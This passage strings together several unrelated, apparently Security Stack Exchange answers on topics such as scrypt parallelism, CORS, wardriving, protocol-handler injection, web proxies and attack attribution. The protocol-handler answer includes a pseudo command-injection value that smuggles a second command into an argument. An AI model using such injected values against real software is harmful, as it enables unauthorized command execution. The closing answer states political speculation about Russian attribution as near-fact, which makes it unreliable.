But, of course, the best option is not to have it stolen in the first place! There are iPad lock cables available that allow you to physically tether your device to an object to make it difficult to steal, much like a Kensington lock that you'd use on a laptop. These only take a few seconds to set up and are ideal for situations like leaving your iPad in a hotel room. Combined with a passcode and auto-lock, this should be a reasonable deterrent to most thieves.


Why isn't it more popular to increase the p (parallelization) parameter of scrypt?

There are two reasons I can think of:
First, because it weakens the main use case. An explicit design goal of scrypt is to make parallelization hardware expensive - and by "hardware" here, we do not mean merely GPU, but also FPGAs and, ultimately, custom ASICs. Building fast-access RAM close to the processor cores necessary to do the calculation is what drives the cost up.
If the workload can be subdivided, it's more likely that it can be parallelized by an attacker, which reduces the cost of the hardware necessary to attack scrypt at scale.
For more background on this, see Percival's slides from his talk announcing scrypt, in which the hardware cost trade-off is explicitly discussed.
Second (and this is just speculation), it's not yet widely needed - perhaps because most installations are either not yet using scrypt at the scale that would require more parallelization for performance reasons, or else they're big enough (like Facebook) to afford the extra hardware necessary to manage any potential authentication "storms" (many people trying to authenticate at once).
More generally, I would dispute your claim that resistance to parallelization doesn't matter from the perspective of an attacker. As an attacker, I can tell you that such resistance is significantly frustrating - because it requires more resources to perform the same attack, making me have to be much more choosy about which attacks I run, and wait longer for the results.
In fact, one of the other goals of reducing parallelization is to make it harder to crack passwords in the aggregate - attacking an entire leak with thousands or even millions of passwords. The algorithms to optimize such attacks are dramatically hampered by parallelization resistance. Attacking a million MD5 is a cakewalk; attacking a million scrypt is a slog. Only attacks like correlation (matching reused passwords from the same user from another already-cracked leak) can make a dent in large sets of such hashes with anything approaching efficiency.
Which was Percival's goal. :)


XMLHttpRequest CSRF fails with allowed CORS

I've identified the issue. The CORS settings don't allow "withCredentials" as the server doesn't respond with Access-Control-Allow-Credentials: true, which is why the POST request isn't made.

Furthermore, as stated by @Matthew, with a wildcard for Access-Control-Allow-Origin, the Authorization header can't be sent.


You are thinking about problem the wrong way.

One reason to have the hashes close to the download is to you detect if your download has been corrupted. It's not uncommon to have a corrupt download, so having the hash will verify if you downloaded cleanly.

The other reason is that is common to a site host the files on another host, like a Content Distribution Network. In those cases, the site owner has less control about the files, so someone could tamper them, even having direct control over the main site files. This will make sure that nobody tampered the files on the remote host.


Security difference in wardriving open network versus monitoring traffic on a network to which I am authenticated

[...] if I am authorized to use a wireless network, and after authenticating myself I use something like wireshark or airopeek to sniff packets, how is this any different than just wardriving open wireless networks w/o authentication?

Wardriving generically refers to the activity of identifying accessible access points.  The term 'wardriving' is a play on the old 'war-dialing' techniques (amazingly, still worth investigating on a pen test). With war dialing you would systematically dial every extension in a given exchange, or subset, looking for numbers that provide a handshake response (modems). War driving is essentially just driving around with a laptop that has a good wifi card (see: Alpha :) looking for WAPs that are accessible. These activities are external to any single given network. At the point where you access a network you have gone beyond the scope of wardriving.

The other activity that you mention, packet capturing, is fundamentally different in that it is an internal activity and presumes a persistent level of access to the network.

To clarify through example, posit; you're driving down the street and your buddy is in the back seat with a laptop, a wifi nic, and a cantenna. As you drive down the street collecting ESSID information- you are wardriving. This is recon, in a pentest methodology. Once you identify a network to access, assessment, you are no longer war driving. Now you are evaluating a specific AP. Once you have accessed the network... LEGALLY, of course :), and run your packet capture software you are performing internal recon/analysis (AKA 'footprinting').

Yes, capturing a broadcast beacon packet is fundamentally the same as any other packet but the differences I point out are germaine in the context of the original post.

Best of luck.


How to test ModSecurity rules against access/error logs?

I don't think this will be possible, and even if you find a way to do it, it won't represent the real world correctly.  Many mod_security rules rely on a variety of data, including various headers in HTTP requests, as well as HTTP request body data.  Much of this data (most notably the body of requests) is not generally logged (at least in default configurations), so even if you could feed the logs back in, mod_security would not be able to evaluate the full request.


Can using web-based protocol handlers for protocols such as mailto: links be dangerous in any way?

Maybe. It's not any more dangerous than any Cross Site Scripting vulnerability that could already exist in the web-based software that the browser launches.
One distinction should be understood between command injection and argument injection.

Command Injection
In the desktop protocol handler context, command injection happens when the protocol handler is launched in a way that allows additional (and unexpected) applications to be launched in some piggybacked fashion.
Pseudo example:
path/to/executable --argument1"; also-run-this-unexpected-application"
It is the duty of the browser (and perhaps to some degree the OS) to safeguard against this type of attack. The registered protocol handler at path/to/executable isn't even able to prevent this from happening. A smart browser would typically use some underlying OS call that is bound to a single executable so that no type of malfeasance can ever call more than one underlying application. This means that anything in the command that comes after the protocol handler is always passed as argument(s). For this reason, most modern browsers are immune to this type of vulnerability in the context of desktop protocol handlers. Historically though, there have been browsers that were easily exploitable and would run a series of commands piggybacked onto a protocol handler.
This is just speculation, but I find it highly unlikely that any type of command injection is possible via web protocol handlers. This is especially so because the browser isn't even launching a third-party process - it only ever launches it's own process (a new tab).

Argument Injection
Argument injection happens when unexpected arguments are passed to the protocol handler. In the context of desktop protocol handlers, this can still be dangerous, as it could cause the protocol handler to behave in ways that are unintended by the application developers. For instance, one protocol handler application that was created using the QTWebEngine was exploitable because one of its command line arguments allowed you to specify the path to load its DLLs from, and that path could include a remote location (https://zero.lol/2019-05-22-fun-with-uri-handlers/).
Concerning web-based protocol handlers - this type of argument injection is not going to lead to any unexpected software being run on your machine. At worst, it could allow Cross Site Scripting, but that could already be present in those applications via plain old URLs.

In summary: Protocol handlers that lead to launching a web-based application are highly unlikely to be exploitable in such a way as to compromise the machine that they are used on. They could still be used to make the underlying web application (e.g. Gmail) behave in a way that is against your expectations (e.g. Sending SPAM to everyone in your contacts list), but only if the web application is written to allow these types of destructive behaviors to be done via URL arguments - and this is also highly unlikely.
Ultimately, this is up to each web-based application to safeguard against. If your bank's website registers a protocol handler that allows funds to be transferred via a single URL, expect it to be exploited. In a real-world scenario though, I would only be as concerned with allowing these types of protocol handlers to operate as I would allowing a given service provider access to my data that their service operates on (Do you trust that Gmail is safe to access all of your mail and to operate with the ability to control correspondence to and from your identity/email address? Do you trust your calendar app to host all of your scheduling information?)


Tor website as proxy like receiving server

What you seem to need is called Tor hidden service. This could be any service based on TCP protocol, including HTTP, rsync, or even nc as in your example. You set up the  service to listen on localhost:port on your receiver, configure your Tor client (running on the same receiver) to forward the incoming connections to your localhost:port, and use Tor client on your sender to connect to the hidden service.


Speedtest and Dnsleaktest DONT work on http or SSL proxies i am trying, whats going on?

These are not real proxies but just sites where you can enter a URL and which then tries to get the requested site for you and display it. And they try to rewrite links in the result so that future clicks stay within the proxy. This will fail in many cases if links are created dynamically using JavaScript which is probably the case here. Also, if the target site creates cookies within a HTTP response and queries these cookies within JavaScript it will not see the expected cookies because these got rewritten by the proxy.

In other words: these proxy sites modify the content in a way which might affect the functionality of the content. This might be a problem with some sites and might be no problem with other sites. A real proxy instead gets configured inside the browser or OS so that the browser itself knows that it should use this proxy for all requests. In this case no content rewriting is needed to keep using the proxy and thus breaking the functionality due to rewriting will not happen.

Please note also that using of such proxy sites creates new security problems: since all sites visited using such proxy site are loaded within the same domain (i.e. proxy.zalmos.com) the same origin policy will no longer restrict access between different sites, i.e. original cross-site activity will now be  same-site activity. This makes it possible to read and modify the content of different sites which might result in stealing sensitive data or misuse of your identity. All these problems do not happen in case a real (browser configured) proxy is used.


Benefit of converting credential fields to password fields

The only benefit is that, presumably, the username field is no longer clearly visible in the browser. That might help prevent shoulder surfing though it seems a stretch to me.

I can't think of  any other potential benefit.


Is it always possible to trace the attacker country?

I am assuming so, geographic regions of the world have their own range of public IP addresses, that part is easy, you just check the logs of recorded ip addresses and cross correspond them with public BGP routing tables.

I don't think it's as easy as action films portray to leave false information, the only method I know of is proxies and VPN's, I imagine a state sponsored attack would have the funding to 'proxy hop' across several regions of the Earth giving the impression of the attack coming from elsewhere, of course depending on the proxy company, they can choose to give the information to the authorities, there might be loopholes that prevent the information from being passed over.

All I can say is Russia probably knows the length of time an attack like this would take to investigate properly - A LONG TIME - Putin is aware that Trump supports him and feels that when Trump gets elected, the investigation into the matter would be impossible or extremely unlikely to yield any usable results, therefore even if it can be traced, Putin doesn't have to worry because soon it won't matter.